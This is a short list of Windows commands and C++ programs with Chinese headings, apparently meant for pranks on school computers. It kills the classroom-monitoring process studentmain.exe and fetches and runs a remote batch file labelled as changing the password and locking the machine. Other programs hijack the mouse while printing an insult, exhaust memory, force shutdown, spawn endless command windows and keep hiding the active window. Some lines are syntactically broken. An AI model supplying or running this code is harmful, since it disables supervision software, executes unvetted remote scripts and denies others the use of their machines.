锁屏

rundll32.exe user32.dll,LockWorkStation

极域killer

taskkill -f -im studentmain.exe

改密锁机

start cmd /kd:&curl -L -O https://oiclass.com/file/9525/c.bat&start D:/c.bat"

#include<windows.h>
#include<bits/stdc++.h>
using namespace std;
int main(){
	int x=GetSystemMetrics(SM_CXSCREEN);
	int y=GetSystemMetrics(SM_CYSCREEN);
	srand(time(0));
	while(1)cout<<"SB"<<endl&&SetCursorPos(rand()%x,rand()%y);
}

#include<windows.h>
#include<bits/stdc++.h>
using namespace std;
int main(){
	system("color 40");
}

#include<windows.h>
#include<bits/stdc++.h>
using namespace std;
int main(){
	while(1)malloc(1000);
}

#include<iostream>
#include<windows.h>
using namespace std;
int main(){
	system(shutdown -s -t 0);
	return 0;
}

#include<iostream>
#include<windows.h>
using namespace std;
int main(){
	system("color F5");
	for(;;)system("start cmd");
	return 0;
}

#include<windows.h>
#include<bits/stdc++.h>
using namespace std;
int main(){
	while(1){
		HWND hWnd=GetForegroundWindow();
		ShowWindow(hWnd,SW_HIDE);
	}
}